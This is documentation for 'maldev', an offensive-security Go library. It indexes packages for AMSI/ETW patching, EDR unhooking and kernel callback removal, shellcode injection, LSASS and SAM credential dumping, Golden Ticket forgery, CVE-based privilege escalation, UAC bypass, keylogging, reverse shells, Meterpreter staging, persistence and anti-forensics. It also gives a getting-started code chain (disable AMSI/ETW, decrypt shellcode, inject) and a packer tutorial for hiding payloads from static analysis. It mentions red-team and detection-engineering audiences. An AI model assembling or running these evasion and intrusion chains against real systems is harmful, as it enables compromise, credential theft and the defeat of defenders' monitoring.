Documentation Index
The navigation spine for everything in docs/. Three ways in, depending on
what you came for.
[!TIP] If you don't know where to start, pick a role first; the role page walks you through a curated reading order.
By role
| Role | What you get |
|---|---|
| 🟥 Operator (red team) | Production chains, OPSEC, payload delivery, common scenarios |
| 🔬 Researcher (R&D) | Architecture, Caller pattern, paper references, Windows-version deltas |
| 🟦 Detection engineer (blue team) | Per-technique artifacts, telemetry, D3FEND counters, hunt examples |
By technique area
Each area page lists every technique in the area with a one-liner; click through for the full template (Primer / How It Works / API / Examples / OPSEC / MITRE / Limitations / See also).
| Area | Pages | What's covered |
|---|---|---|
| c2 | 6 | reverse shell + reconnect, transport (TLS/JA3), Meterpreter staging, multicat, named pipe |
| cleanup | 7 | self-delete, secure wipe, timestomp, ADS, BSOD, service hide |
| collection | 5 | keylog, clipboard, screenshot, ADS, LSASS dump |
| credentials | 4 | LSASS dump, sekurlsa parser, SAM offline, Golden Ticket |
| crypto | 1 | payload encryption (AES-GCM, ChaCha20) and signature-breaking transforms (XTEA, S-Box, Matrix, ArithShift, XOR) |
| encode | 1 | Base64 (std + URL), UTF-16LE, ROT13, PowerShell -EncodedCommand |
| hash | 2 | cryptographic hashes (MD5/SHA-*), ROR13 API hashing, fuzzy hashes (ssdeep, TLSH) |
| evasion | 19 | AMSI/ETW patches, ntdll unhook, sleep mask, ACG, BlockDLLs, callstack spoof, kernel callback removal, anti-VM/sandbox/timing |
| injection | 12 | CreateThread, EarlyBird APC, ThreadHijack, SectionMap, KernelCallback, Phantom DLL, ThreadPool, NtQueueApcThreadEx, EtwpCreateEtwThread, … |
| pe | 7 | strip & sanitize, BOF loader, morph, PE-to-shellcode, certificate theft, masquerade |
| persistence | 6 | Run/RunOnce, startup folder LNK, scheduled task, service, account creation |
| runtime | 2 | BOF / COFF loader, in-process .NET CLR hosting |
| syscalls | 3 | direct & indirect syscalls, API hashing (ROR13, FNV1a, …), SSN resolvers (Hell's / Halo's / Tartarus / Hash Gate) |
| tokens | 3 | token theft, impersonation, privilege escalation |
By MITRE ATT&CK ID
By package
Grouped by area, expandable. Click any package name to jump to its
pkg.go.dev godoc; expand an area to scan every package's detection
level and one-line summary in one place.
Each area is collapsed by default — click to expand. Detection level is the canonical 5-level scale (very-quiet → very-noisy); umbrella / variable packages show as —.
Layer 0 — pure-Go primitives (`crypto`, `encode`, `hash`, `random`, `useragent`) — 5 packages
| Package | Detection | Summary |
|---|---|---|
crypto | very-quiet | provides cryptographic primitives for payload encryption / decryption and lightweight obfuscation |
encode | very-quiet | provides encoding / decoding utilities for payload transformation: Base64 (standard + URL-safe), UTF-16LE (Windows API strings), ROT13, and PowerShell -EncodedCommand format |
hash | very-quiet | provides cryptographic and fuzzy hash primitives for integrity verification, API hashing, and similarity detection |
random | very-quiet | provides cryptographically secure random generation helpers backed by crypto/rand (OS entropy) |
useragent | very-quiet | provides a curated database of real-world browser User-Agent strings for HTTP traffic blending |
Windows primitives — `win/*` — 10 packages
| Package | Detection | Summary |
|---|---|---|
win | — | is the parent umbrella for Windows-only primitives |
win/api | very-quiet | is the single source of truth for Windows DLL handles, procedure references, and structures shared across maldev |
win/com | — | holds Windows COM helpers shared across maldev |
win/domain | very-quiet | queries Windows domain-membership state — whether the host is workgroup-only, joined to an Active Directory domain, or in an unknown state |
win/impersonate | moderate | runs callbacks under an alternate Windows security context — by credential, by stolen token, or by piggy- backing on a target PID |
win/ntapi | quiet | exposes a small set of typed Go wrappers over ntdll!Nt* functions that maldev components use frequently — memory allocation, write/protect, thread creation, and system information query |
win/privilege | moderate | answers two operational questions: am I admin right now, and how do I run something else as a different principal? It wraps IsAdmin / IsAdminGroupMember for privilege detection and three execution primitives — ExecAs, CreateProcessWithLogon, ShellExecuteRunAs — for spawning processes under alternate credentials |
win/syscall | quiet | provides five strategies for invoking Windows NT syscalls — from a hookable kernel32 call to fully indirect SSN dispatch through an in-ntdll syscall;ret gadget (heap stub or Go-assembly stub) — under one uniform [Caller] interface |
win/token | moderate | wraps Windows access-token operations: open/duplicate process and thread tokens, steal a token from another PID, enable or remove individual privileges, query integrity level, and retrieve the active interactive session's primary token |
win/version | very-quiet | reports the running Windows OS version, build, and patch level — bypassing the manifest-compatibility shim that masks GetVersionEx results to the manifest-declared compatibility target |
Kernel BYOVD — `kernel/driver/*` — 2 packages
| Package | Detection | Summary |
|---|---|---|
kernel/driver | very-noisy | defines the kernel-memory primitive interfaces consumed by EDR-bypass packages that need arbitrary kernel reads or writes (kcallback, lsassdump PPL-bypass, callback-array tampering, …) |
kernel/driver/rtcore64 | very-noisy | wraps the MSI Afterburner RTCore64.sys signed driver (CVE-2019-16098) as a [kernel/driver.ReadWriter] primitive |
Evasion — `evasion/*` — 15 packages
| Package | Detection | Summary |
|---|---|---|
evasion | — | is the umbrella for active EDR / AV evasion |
evasion/acg | quiet | enables Arbitrary Code Guard for the current process so the kernel refuses any further VirtualAlloc(PAGE_EXECUTE) / VirtualProtect(PAGE_EXECUTE) requests |
evasion/amsi | noisy | disables the Antimalware Scan Interface in the current process via runtime memory patches on amsi.dll |
evasion/blockdlls | quiet | applies the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES mitigation so the loader refuses any DLL that isn't Microsoft-signed |
evasion/callstack | quiet | synthesises a return-address chain so a stack walker at a protected-API call site sees frames that originate from a benign thread-init sequence rather than from the attacker module |
evasion/cet | noisy | inspects and relaxes Intel CET (Control-flow Enforcement Technology) shadow-stack enforcement for the current process, and exposes the ENDBR64 marker required by CET-gated indirect call sites |
evasion/etw | moderate | blinds Event Tracing for Windows in the current process by patching the ETW write helpers in ntdll.dll with xor rax,rax; ret |
evasion/hook | noisy | installs x64 inline hooks on exported Windows functions: patch the prologue with a JMP to a Go callback, automatically generate a trampoline for calling the original, and fix up RIP-relative instructions in the stolen prologue |
evasion/hook/bridge | moderate | is the bidirectional control channel between a hook handler installed inside a target process and the implant that placed it |
evasion/hook/shellcode | noisy | ships pre-fabricated x64 position-independent shellcode blobs used as handler bodies for [github.com/oioio-space/maldev/evasion/hook].RemoteInstall |
evasion/kcallback | very-noisy | enumerates and removes kernel-mode callback registrations that EDR products use to observe process/thread/image- load events from the kernel side |
evasion/preset | — | bundles evasion.Technique primitives into four validated risk levels for one-shot deployment |
evasion/sleepmask | quiet | encrypts the implant's payload memory while it sleeps so concurrent memory scanners cannot recover the original shellcode bytes or PE headers |
evasion/stealthopen | quiet | reads files via NTFS Object ID (the 128-bit GUID stored in the MFT) instead of by path, bypassing path-based EDR hooks on NtCreateFile / CreateFileW |
evasion/unhook | noisy | restores the original prologue bytes of ntdll.dll functions, removing inline hooks installed by EDR/AV products |
Injection — `inject` — 1 package
| Package | Detection | Summary |
|---|---|---|
inject | noisy | provides unified shellcode injection across Windows and Linux with a fluent builder, decorator middleware, and automatic fallback between methods |
PE manipulation — `pe/*` — 20 packages
| Package | Detection | Summary |
|---|---|---|
pe | — | is the umbrella for Portable Executable analysis, manipulation, and conversion utilities |
pe/cert | quiet | manipulates the PE Authenticode security directory — read, copy, strip, and write WIN_CERTIFICATE blobs without any Windows crypto API |
pe/dllproxy | very-quiet | emits a valid Windows DLL — as raw bytes, no external toolchain — that forwards every named export back to a legitimate target DLL |
pe/imports | very-quiet | enumerates a PE's import surface — both the classic IMAGE_IMPORT_DESCRIPTOR table AND the IMAGE_DELAY_IMPORT_DESCRIPTOR table — without invoking any Windows API |
pe/masquerade | quiet | clones a Windows PE's identity — manifest, icons, VERSIONINFO, optional Authenticode certificate — into a linkable .syso COFF object so a Go binary picks them up at compile time |
pe/masquerade/donors | very-quiet | lists the reference (donor) PE files the pe/masquerade preset generator and the cmd/cert-snapshot tool share |
pe/masquerade/preset | — | (no doc.go summary) |
pe/morph | moderate | mutates UPX-packed PE headers so automatic unpackers fail to recognise the input |
pe/packer | moderate | is maldev's custom PE/ELF packer |
pe/packer/internal/elfgate | — | implements the Z-scope pre-flight check for Go static-PIE ELF inputs: ET_DYN + .go.buildinfo present + no DT_NEEDED |
pe/packer/runtime | noisy | is the consumer side of [pe/packer]: takes a packed blob + key and reflectively loads the original PE into the current process's memory |
pe/packer/stubgen | noisy | drives the UPX-style transform pipeline for Phase 1e |
pe/packer/stubgen/amd64 | quiet | wraps github.com/twitchyliquid64/golang-asm into a focused builder API for the polymorphic stage-1 decoder Phase 1e (v0.61.x) emits |
pe/packer/stubgen/poly | quiet | implements the SGN-style metamorphic engine the Phase 1e (v0.61.x) packer uses to generate polymorphic stage-1 decoders |
pe/packer/stubgen/stage1 | moderate | emits the polymorphic stub the UPX-style packer places in a new section of the modified host binary |
pe/packer/stubgen/stage1/asmtrace | — | on non-Windows platforms is a stub |
pe/packer/transform | noisy | implements UPX-style in-place modification of input PE/ELF binaries |
pe/parse | very-quiet | provides PE file parsing and modification utilities |
pe/srdi | moderate | converts PE / .NET / script payloads into position-independent shellcode via the Donut framework (github.com/Binject/go-donut) |
pe/strip | quiet | sanitises Go-built PE binaries by removing toolchain artefacts that fingerprint the producer |
Runtime loaders — `runtime/*` — 3 packages
| Package | Detection | Summary |
|---|---|---|
runtime/bof | moderate | loads and executes Beacon Object Files (BOFs) — compiled COFF object files (.o) — entirely in process memory |
runtime/clr | moderate | hosts the .NET Common Language Runtime in process via the ICLRMetaHost / ICorRuntimeHost COM interfaces and executes managed assemblies from memory without writing them to disk |
runtime/pe | moderate | runs full Portable Executable binaries (EXE / DLL) in-process by dispatching them through an embedded Fortra No-Consolation BOF on top of [runtime/bof] |
Recon — `recon/*` — 9 packages
| Package | Detection | Summary |
|---|---|---|
recon/antidebug | quiet | detects whether a debugger is currently attached to the implant — Windows via IsDebuggerPresent (PEB BeingDebugged), Linux via /proc/self/status TracerPid |
recon/antivm | quiet | detects virtual machines and hypervisors via configurable check dimensions: registry keys, files, MAC prefixes, processes, CPUID/BIOS, and DMI info |
recon/dllhijack | moderate | discovers DLL-search-order hijack opportunities on Windows — places where an application loads a DLL from a user-writable directory BEFORE reaching the legitimate copy (typically in System32) |
recon/drive | quiet | enumerates Windows logical drives and watches for newly connected removable / network volumes |
recon/folder | very-quiet | resolves Windows special folder paths via two Shell32 entry points: [Get] (legacy SHGetSpecialFolderPathW, CSIDL-keyed) and [GetKnown] (modern SHGetKnownFolderPath, KNOWNFOLDERID-keyed) |
recon/hwbp | moderate | detects and clears hardware breakpoints set by EDR products on NT function prologues — surviving the classic ntdll-on-disk-unhook pass |
recon/network | very-quiet | provides cross-platform IP address retrieval and local-address detection |
recon/sandbox | quiet | is the multi-factor sandbox / VM / analysis-environment detector — a configurable orchestrator that aggregates checks across recon/antidebug, recon/antivm, and its own primitives into a single "is this a sandbox?" assessment |
recon/timing | quiet | provides time-based evasion that defeats sandboxes which fast-forward Sleep() calls — sandboxes commonly hook Sleep / WaitForSingleObject to skip the delay and analyse what the implant does next |
Process — `process/*` + `process/tamper/*` — 7 packages
| Package | Detection | Summary |
|---|---|---|
process | — | is the umbrella for cross-platform process enumeration / management, plus the Windows-specific process-tamper sub-tree |
process/enum | quiet | provides cross-platform process enumeration — list every running process or find one by name / predicate |
process/session | moderate | enumerates Windows sessions and creates processes / impersonates threads inside other users' sessions |
process/tamper/fakecmd | quiet | overwrites the current process's PEB CommandLine UNICODE_STRING so process-listing tools (Process Explorer, wmic, Get-Process, Task Manager) display a fake command-line instead of the real one |
process/tamper/herpaderping | moderate | implements Process Herpaderping and the related Process Ghosting variant — kernel image-section cache exploitation that lets the running process execute one PE while the file on disk reads as another (or doesn't exist) |
process/tamper/hideprocess | moderate | patches a target process's user-mode process-enumeration surface so it returns empty / failed results — blinding monitoring tools without killing them |
process/tamper/phant0m | noisy | suppresses Windows Event Log recording by terminating the EventLog service threads inside the hosting svchost.exe — the service stays "Running" in the SCM listing but no new entries are written |
Credentials — `credentials/*` — 4 packages
| Package | Detection | Summary |
|---|---|---|
credentials/goldenticket | noisy | forges Kerberos Golden Tickets — long-lived TGTs minted with a stolen krbtgt account hash |
credentials/lsassdump | noisy | produces a MiniDump blob of lsass.exe's memory so downstream tooling (credentials/sekurlsa, mimikatz, pypykatz) can extract Windows credentials |
credentials/samdump | quiet | performs offline NT-hash extraction from a SAM hive (with the SYSTEM hive supplying the boot key) |
credentials/sekurlsa | quiet | extracts credential material from a Windows LSASS minidump — the consumer counterpart to credentials/lsassdump |
Collection — `collection/*` — 4 packages
| Package | Detection | Summary |
|---|---|---|
collection | — | groups local data-acquisition primitives for post-exploitation: keystrokes, clipboard contents, screen captures |
collection/clipboard | quiet | reads and watches the Windows clipboard text |
collection/keylog | noisy | captures keystrokes via a low-level keyboard hook (SetWindowsHookEx(WH_KEYBOARD_LL)) |
collection/screenshot | quiet | captures the screen via GDI BitBlt and returns PNG bytes |
Cleanup — `cleanup/*` — 8 packages
| Package | Detection | Summary |
|---|---|---|
cleanup | quiet | is the umbrella for on-host artefact removal / anti-forensics primitives that run after an operation completes |
cleanup/ads | quiet | provides CRUD operations for NTFS Alternate Data Streams |
cleanup/bsod | very-noisy | triggers a Blue Screen of Death via NtRaiseHardError as a last-resort cleanup primitive |
cleanup/memory | very-quiet | provides secure memory cleanup primitives for wiping sensitive data (shellcode, keys, credentials) from process memory |
cleanup/selfdelete | moderate | deletes the running executable from disk while the process continues to execute from its mapped image |
cleanup/service | noisy | hides Windows services from listing utilities by applying a restrictive DACL on the service object |
cleanup/timestomp | quiet | resets a file's NTFS $STANDARD_INFORMATION timestamps so a dropped artifact blends with surrounding files |
cleanup/wipe | quiet | overwrites file contents with cryptographically random data before deletion to defeat trivial forensic recovery |
Persistence — `persistence/*` — 7 packages
| Package | Detection | Summary |
|---|---|---|
persistence | — | is the umbrella for system persistence techniques — mechanisms that re-launch an implant across reboots and user logons |
persistence/account | noisy | provides Windows local user account management via NetAPI32 — create, delete, set password, manage group membership, enumerate |
persistence/lnk | quiet | creates Windows shortcut (.lnk) files via COM/OLE automation — fluent builder API, fully Windows-only |
persistence/registry | moderate | implements Windows registry Run / RunOnce key persistence — the canonical "auto-launch on logon" hook |
persistence/scheduler | moderate | creates, deletes, lists, and runs Windows scheduled tasks via the COM ITaskService API — no schtasks.exe child process |
persistence/service | noisy | implements Windows service persistence via the Service Control Manager — the highest-trust persistence mechanism available, running as SYSTEM at boot |
persistence/startup | moderate | implements StartUp-folder persistence via LNK shortcut files — Windows Shell launches every shortcut in the folder at user logon |
Privilege escalation — `privesc/*` — 2 packages
| Package | Detection | Summary |
|---|---|---|
privesc/cve202430088 | noisy | implements CVE-2024-30088 — a Windows kernel TOCTOU race in AuthzBasepCopyoutInternalSecurityAttributes that yields local privilege escalation to NT AUTHORITY\SYSTEM by overwriting the calling thread's primary token with lsass.exe's SYSTEM token |
privesc/uac | noisy | implements four classic UAC-bypass primitives that hijack auto-elevating Windows binaries to spawn an elevated process without a consent prompt |
C2 — `c2/*` — 9 packages
| Package | Detection | Summary |
|---|---|---|
c2 | — | provides command and control building blocks: reverse shells, Meterpreter staging, pluggable transports (TCP / TLS / uTLS / named pipe), mTLS certificate helpers, and session multiplexing |
c2/cert | quiet | provides self-signed X.509 certificate generation and fingerprint computation for C2 TLS infrastructure |
c2/meterpreter | noisy | implements Metasploit Framework staging — pulls a second-stage Meterpreter payload from a multi/handler and executes it in the current process or a target picked via the optional Config.Injector |
c2/multicat | quiet | provides a multi-session reverse-shell listener for operator use |
c2/pivot/socks5 | moderate | wraps the armon/go-socks5 server in a thin maldev primitive — a beacon-side SOCKS5 listener the operator pivots through to reach the beacon's network |
c2/shell | noisy | provides a reverse shell with automatic reconnection, PTY support, and optional Windows evasion integration |
c2/transport | moderate | provides pluggable network transport implementations for C2 communication: plain TCP, TLS with optional certificate pinning, and uTLS for JA3/JA4 fingerprint randomisation |
c2/transport/namedpipe | quiet | provides a Windows named-pipe transport implementing the [github.com/oioio-space/maldev/c2/transport] Transport and Listener interfaces |
c2/transport/websocket | moderate | implements a WebSocket [transport.Transport] (dial side) and [transport.Listener] (accept side) for C2 channels that ride HTTP/1.1 + WS upgrade |
UI utilities — 1 package
| Package | Detection | Summary |
|---|---|---|
ui | very-quiet | exposes minimal Windows UI primitives — MessageBoxW via Show and the system alert sound via Beep |
examples — 40 packages
| Package | Detection | Summary |
|---|---|---|
examples/c2-reverse-shell | — | c2-reverse-shell — panorama 15 of the doc-truth audit |
examples/cleanup-artifacts | — | cleanup-artifacts — panorama 10 of the doc-truth audit |
examples/collection-screen-keylog | — | collection-screen-keylog — panorama 13 of the doc-truth audit |
examples/credentials-dump | — | credentials-dump — panorama 9 of the doc-truth audit |
examples/inject-evasive | — | inject-evasive — panorama 2 of the doc-truth audit |
examples/kernel-byovd | — | kernel-byovd — panorama 16 of the doc-truth audit |
examples/license-manager/01-issue-basic | — | 01-issue-basic — runnable companion to examples/license-manager/README.md |
examples/license-manager/02-issue-with-bindings | — | 02-issue-with-bindings — runnable companion to README.md |
examples/license-manager/03-revoke-and-crl | — | 03-revoke-and-crl — runnable companion to README.md |
examples/license-manager/04-reissue | — | 04-reissue — runnable companion to README.md |
examples/license-manager/05-hard-delete-roundtrip | — | 05-hard-delete-roundtrip — runnable companion to README.md |
examples/license-manager/06-totp-secret | — | 06-totp-secret — runnable companion to README.md |
examples/license-manager/09-import-and-verify | — | 09-import-and-verify — runnable companion to README.md |
examples/license-manager/tutorials/01-issue-and-verify | — | (no doc.go summary) |
examples/license-manager/tutorials/01-issue-and-verify/client | — | Tutorial 01 — verifier client |
examples/license-manager/tutorials/02-bindings-and-verify | — | (no doc.go summary) |
examples/license-manager/tutorials/02-bindings-and-verify/client | — | Tutorial 02 — verifier client that collects three evidence pieces at startup: a machine id (from hostid.Composite()), a password (typed by the user, read from --password flag for the E2E demo), and a 6-digit TOTP code (read from --totp) |
examples/license-manager/tutorials/03-revocation-server | — | (no doc.go summary) |
examples/license-manager/tutorials/03-revocation-server/client | — | Tutorial 03 — verifier client that fetches the CRL from a running revocation server before deciding whether to accept the licence |
examples/license-manager/tutorials/04-totp-authenticator | — | (no doc.go summary) |
examples/license-manager/tutorials/04-totp-authenticator/client | — | Tutorial 04 — verifier that requires a 6-digit TOTP code |
examples/license-manager/tutorials/05-sealed-payload | — | (no doc.go summary) |
examples/license-manager/tutorials/05-sealed-payload/client | — | Tutorial 05 — verifier that decrypts a sealed payload after the licence check passes |
examples/packer-shellcode | — | packer-shellcode — runnable companion to Mode 6 of docs/techniques/pe/packer.md |
examples/packer-tour | — | packer-tour — runnable companion to docs/examples/upx-style-packer.md |
examples/pe-modify | — | pe-modify — panorama 11 of the doc-truth audit |
examples/persistence-system | — | persistence-system — panorama 6 of the doc-truth audit |
examples/persistence-user | — | persistence-user — panorama 5 of the doc-truth audit |
examples/preset-stacks | — | preset-stacks — panorama 18 of the doc-truth audit |
examples/privesc-dll-hijack | — | privesc-e2e is the orchestrator for the maldev DLL-hijack privilege-escalation E2E proof |
examples/privesc-dll-hijack/fakelib | — | fakelib — a real Windows DLL with three named C exports |
examples/privesc-dll-hijack/probe | — | Probe for the privesc-e2e chain |
examples/privesc-uac | — | privesc-uac — panorama 8 of the doc-truth audit |
examples/process-tamper | — | process-tamper — panorama 12 of the doc-truth audit |
examples/recon-host | — | recon-host — panorama 3 of the doc-truth audit |
examples/recon-stealth-ppid | — | recon-stealth-ppid — example assembled from the user-facing markdown docs only |
examples/runtime-loaders | — | runtime-loaders — panorama 14 of the doc-truth audit |
examples/syscall-matrix | — | syscall-matrix — panorama 17 of the doc-truth audit |
examples/tokens-impersonate | — | tokens-impersonate — panorama 7 of the doc-truth audit |
examples/unhook-ntdll | — | unhook-ntdll — panorama 4 of the doc-truth audit |
license — 12 packages
| Package | Detection | Summary |
|---|---|---|
license | — | provides a defensive framing primitive for maldev research binaries: signed, structured license tokens that constrain who may run a given binary, on which machines, with which secrets, until when, and against which revocation/heartbeat policy |
license/canonical | — | encodes Go values to a deterministic JSON form suitable for signing: object keys are recursively sorted, no insignificant whitespace is emitted, HTML characters are not escaped, and time.Time values are rendered in RFC3339Nano UTC |
license/heartbeat | — | (no doc.go summary) |
license/hostid | — | produces a 32-byte machine fingerprint by mixing OS-provided identifiers (registry MachineGuid on Windows, /etc/machine-id on Linux, IOPlatformUUID on darwin) through sha256 |
license/identity | — | holds a 32-byte build-time identity registered by the consumer binary (typically via //go:embed identity.bin and a call to Set) |
license/identity/cmd/gen-identity | — | gen-identity writes 32 random bytes to ./identity.bin if absent |
license/internal/fileutil | — | provides shared filesystem helpers for the license package and its sub-packages |
license/ntp | — | performs a minimal unauthenticated SNTPv4 query suitable as a soft cross-check of the local clock |
license/revoke | — | (no doc.go summary) |
license/seal | — | encrypts opaque payloads to a recipient identified by an X25519 public key |
license/server | — | (no doc.go summary) |
license/totp | — | implements RFC 6238 time-based one-time passwords (TOTP) with helpers for QR-code provisioning (PNG and ASCII) |
Cross-cutting guides
| Guide | What it explains |
|---|---|
| getting-started.md | Concepts, terminology, your first implant |
| architecture.md | Layered design, dependency flow, Mermaid diagrams |
| opsec-build.md | Build pipeline: garble, pe/strip, masquerade |
| mitre.md | Full MITRE ATT&CK + D3FEND mapping |
| testing.md | Per-test-type details: injection matrix, Meterpreter sessions, BSOD |
| vm-test-setup.md | Bootstrap a fresh host (VMs, SSH keys, INIT snapshot) |
| coverage-workflow.md | Reproducible cross-platform coverage collection |
Conventions
| Doc | Audience |
|---|---|
| conventions/documentation.md | Anyone editing docs (this is the source of truth for templates, GFM features, voice, migration order) |
Getting Started
Welcome to maldev — a modular Go library for offensive security research. This guide assumes zero malware development experience.
Prerequisites
- Go 1.21+ installed
- Windows for most techniques (some work cross-platform)
- Basic Go knowledge (functions, packages, error handling)
- For OPSEC builds:
garble(go install mvdan.cc/garble@latest)
Installation
go get github.com/oioio-space/maldev@latest
Core Concepts
What is maldev?
maldev is a library, not a framework. You import the packages you need and compose them:
The Five Levels of Stealth
Every technique has a detection level declared in its doc.go.
Choose based on your threat model:
| Level | Meaning | Example |
|---|---|---|
| very-quiet | Indistinguishable from baseline activity | RtlGetVersion, NetGetJoinInformation |
| quiet | Used routinely but in attacker-shaped patterns | Indirect syscall, hash-resolved import |
| moderate | Watched by EDR but common in benign software | RWX VirtualAlloc, thread creation |
| noisy | Pattern is in every vendor's signature DB | Cross-process inject, UAC bypass |
| very-noisy | Triggers an alert by default | NtLoadDriver for an unsigned driver, NtUnloadDriver |
Find the detection level for any package on its tech-md page (e.g.,
docs/techniques/evasion/amsi-bypass.md)
and in its doc.go # Detection level section.
The Caller Pattern
The most important concept in maldev. Every function that calls Windows NT syscalls accepts an optional *wsyscall.Caller:
// Without Caller — uses standard WinAPI (hookable by EDR)
injector, _ := inject.NewInjector(&inject.Config{
Method: inject.MethodCreateRemoteThread,
PID: pid,
})
injector.Inject(shellcode)
// With Caller — routes through indirect syscalls (bypasses EDR hooks)
injector, _ = inject.Build().
Method(inject.MethodCreateRemoteThread).
PID(pid).
IndirectSyscalls().
Create()
injector.Inject(shellcode)
Rule of thumb: Always create a Caller for real operations. Pass nil only for testing.
Your First Program
Step 1: Evasion (disable defenses)
package main
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/evasion/etw"
)
func main() {
// Apply evasion techniques before doing anything suspicious
techniques := []evasion.Technique{
amsi.ScanBufferPatch(), // disable AMSI scanning
etw.All(), // disable ETW logging
}
evasion.ApplyAll(techniques, nil) // nil = standard WinAPI
}
Step 2: Load shellcode
import "github.com/oioio-space/maldev/crypto"
// Decrypt your payload (encrypted at build time)
key := []byte{/* your 32-byte AES key */}
shellcode, _ := crypto.DecryptAESGCM(key, encryptedPayload)
Step 3: Inject
import "github.com/oioio-space/maldev/inject"
cfg := &inject.Config{
Method: inject.MethodCreateThread, // self-injection
}
injector, _ := inject.NewInjector(cfg)
injector.Inject(shellcode)
Step 4: Build for operations
# Development build (with logging)
make debug
# Release build (OPSEC, no strings, no debug info)
make release
Per-Package Quick-Reference
If you know the technique you want, jump straight to the matching package:
| Goal | Package | Doc |
|---|---|---|
| Encrypt the payload before embedding | crypto | Payload Encryption |
| Encode the payload for transport | encode | Encode |
| Patch AMSI / ETW in-process | evasion/amsi, evasion/etw | AMSI · ETW |
| Restore hooked ntdll | evasion/unhook | NTDLL Unhooking |
| Sleep with masked memory | evasion/sleepmask | Sleep Mask |
| Spoof a callstack frame | evasion/callstack | Callstack Spoof |
| Remove EDR kernel callbacks | evasion/kcallback | Kernel-Callback Removal |
| BYOVD kernel R/W | kernel/driver (rtcore64) | BYOVD RTCore64 |
| Direct/indirect syscalls | win/syscall | Syscall Methods |
| Inject shellcode | inject/* (15 methods) | Injection |
| Reflectively load a PE | pe/srdi | PE → Shellcode |
| Strip Go fingerprints | pe/strip | Strip + Sanitize |
| Run a .NET assembly in-process | runtime/clr | Runtime |
| Run a Beacon Object File | runtime/bof | Runtime |
| Dump LSASS | credentials/lsassdump | LSASS Dump |
| Parse a MINIDUMP for NT hashes | credentials/sekurlsa | LSASS Parse |
| Bypass UAC | privesc/uac | Privilege |
| Spoof a process command-line | process/tamper/fakecmd | FakeCmd |
| Suspend Event Log threads | process/tamper/phant0m | Phant0m |
| Persistence — registry | persistence/registry | Registry |
| Persistence — Startup folder | persistence/startup | Startup Folder |
| Persistence — scheduled task | persistence/scheduler | Task Scheduler |
| Capture clipboard / keys / screen | collection/{clipboard,keylog,screenshot} | Collection |
| Reverse shell | c2/shell | Reverse Shell |
| Metasploit staging | c2/meterpreter | Meterpreter |
| Multi-session listener (operator side) | c2/multicat | Multicat |
| Named-pipe transport | c2/transport/namedpipe | Named Pipe |
| Wipe in-process buffers | cleanup/memory | Memory Wipe |
| Self-delete on exit | cleanup/selfdel | Self-Delete |
| Compute fuzzy hash similarity | hash | Fuzzy Hashing |
For the full layered map, see Architecture § Per-Package Quick-Reference.
What to Read Next
| Goal | Read |
|---|---|
| Understand the architecture | Architecture |
| Learn injection techniques | Injection Techniques |
| Learn EDR evasion | Evasion Techniques |
| Understand syscall bypass | Syscall Methods |
| Set up C2 communication | C2 & Transport |
| Build for operations | OPSEC Build Guide |
| See composed examples | Examples |
| Full MITRE coverage | MITRE ATT&CK + D3FEND Mapping |
Terminology Quick Reference
| Term | Meaning |
|---|---|
| Shellcode | Raw machine code bytes that execute independently |
| Injection | Running code in another process's address space |
| EDR | Endpoint Detection & Response (e.g., CrowdStrike, Defender) |
| Hook | EDR modification of function prologues to intercept calls |
| Syscall | Direct kernel call, bypassing userland hooks |
| SSN | Syscall Service Number — index into kernel's function table |
| PEB | Process Environment Block — per-process kernel structure |
| AMSI | Antimalware Scan Interface — Microsoft's content scanning API |
| ETW | Event Tracing for Windows — kernel telemetry system |
| Caller | maldev's abstraction for choosing syscall routing method |
| OPSEC | Operational Security — avoiding detection and attribution |
Your first packed payload
5-step tutorial. Each step produces a tangible artefact you can inspect. By the end you'll have packed a Go EXE with SGN+LZ4, watched it run, and seen what the unpacked vs packed binaries look like side-by-side.
Audience: anyone who has Go ≥1.21 installed and 5 minutes. Prerequisites: none beyond the Go toolchain.
This is a tutorial in the Diátaxis sense — it teaches by hand-holding. If you already know what you want and need a recipe, the Cookbook is the page you want.
Step 1 — clone and verify
git clone https://github.com/oioio-space/maldev
cd maldev
go build ./...
✅ You should see: silence (no errors). The whole module
compiled. If it fails, your Go is older than 1.21 — go version
to check.
Step 2 — build a tiny victim binary
We'll pack a one-liner Go program. Make a scratch file:
mkdir -p /tmp/firstpack
cat > /tmp/firstpack/hello.go <<'GO'
package main
import "fmt"
func main() { fmt.Println("hello from a packed binary!") }
GO
GOOS=windows GOARCH=amd64 go build -o /tmp/firstpack/hello.exe /tmp/firstpack/hello.go
ls -la /tmp/firstpack/hello.exe
✅ You should see: hello.exe weighing ~1.8 MB. That's the
input.
Step 3 — pack it
Use the packer CLI (operator-facing binary under cmd/packer/).
go run ./cmd/packer \
-in /tmp/firstpack/hello.exe \
-out /tmp/firstpack/hello-packed.exe \
-rounds 3
ls -la /tmp/firstpack/hello-packed.exe
✅ You should see: a new hello-packed.exe, slightly larger
(stub + SGN-encrypted body). Roughly the same size — packing
doesn't compress by default, it encrypts the code section.
Step 4 — verify it's actually different
sha256sum /tmp/firstpack/hello.exe /tmp/firstpack/hello-packed.exe
strings /tmp/firstpack/hello.exe | grep -i "hello from" | head
strings /tmp/firstpack/hello-packed.exe | grep -i "hello from" | head
✅ You should see:
- Different sha256s (obviously).
- The plain binary leaks the string
hello from a packed binary!. - The packed binary doesn't (encrypted, recovered at runtime).
That's the core OPSEC win: static analysis of the packed binary can't see your payload.
Step 5 — run it on a Windows host
If you have a Windows VM (or any Win10+ host with the file copied over):
hello-packed.exe
✅ You should see: hello from a packed binary! printed on
stdout. The packed binary self-decrypts at runtime, jumps to the
original entry point, your program runs normally.
What just happened
sequenceDiagram
participant Disk as hello-packed.exe (disk)
participant Loader as Windows loader
participant Stub as Stage1 stub
participant OEP as Original entry
Disk->>Loader: LoadImage
Loader->>Stub: jump to AddressOfEntryPoint
Note over Stub: SGN decode (N rounds)
Stub->>Stub: decrypt .text in place
Stub->>OEP: jmp original_entrypoint
OEP->>OEP: runtime.rt0_amd64
OEP->>OEP: main.main
The stub at the new entry point peels off N rounds of
SGN encoding, restores the original
.text section in memory, then jumps to where the Go program
expected to start.
Where to next
You now know how to:
- Build a maldev-managed binary.
- Pack it with the SGN+LZ4 stub.
- Verify the packing actually changed the on-disk artefact.
Pick a direction:
- More packer modes? → Cookbook: UPX-style packer + cover
- Inject a payload elsewhere? → Cookbook: Evasive injection
- Understand the architecture? → Concepts: Architecture
- Find a specific technique? → Techniques — per-package reference.
If you want the full chain (encrypt → evasion → inject → cleanup) walk through the Full chain cookbook entry.
C2 techniques
